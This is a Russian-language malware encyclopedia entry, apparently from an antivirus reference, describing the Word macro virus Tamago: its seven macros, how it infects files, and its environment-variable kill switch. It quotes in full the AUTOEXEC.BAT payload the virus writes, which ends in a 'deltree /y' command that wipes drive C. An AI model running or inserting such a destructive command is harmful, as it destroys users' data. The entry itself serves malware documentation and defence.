Virus.MSWord.Tamago

Technical Details

Содержит семь макросов:

Документы           NORMAL.DOT
AutoOp              AutoOpen
AutoExec            AutoExec
AutoClose           AutoClose
UtilMacro           UtilMacro
FerramMacro         FerramMacro
ArquivoModelos      ArquivoModelos
ArquivoSalvarComo   ArquivoSalvarComo

Заражает систему при закрытии документов, а документы при открытии файлов и
их сохранении с другим именем. В вирусе встроен блокировщик размножения
(защита для автора вируса?) : если в Environment имеется строка
“TAMAGOXI=GMS”, то вирус не размножается и выдает MessageBox:

(sLeEp ModE) TaMaGoXI bY WiZaRD: EtERnAl LoVE 2 mY LitTlE gIrL Gi

26 числа записывает в C:AUTOEXEC.BAT команды, которые при перезагрузке
выводят сообщение и удалят все файлы на диске C:

@echo off
cls
echo.
echo.
echo.
echo            SaLamA'S CoRP - AlL lEfTS ReSerVeD - 1997
echo                        TaMaGoXI bY WiZaRD***
echo                                          ***
echo                                         *
echo                                        *
echo                          *************
echo                         *             *
echo                        *  ****   ****  *
echo                        *               *
echo                        *     *****     *
echo                         ***************
echo.
echo                     eXPecT nO MeRcY FRoM HiM
echo.
echo.
echo File' not found: Serve Alcatara Mane'? (S/N)
echo.
echo.
deltree /y c:*.* >nul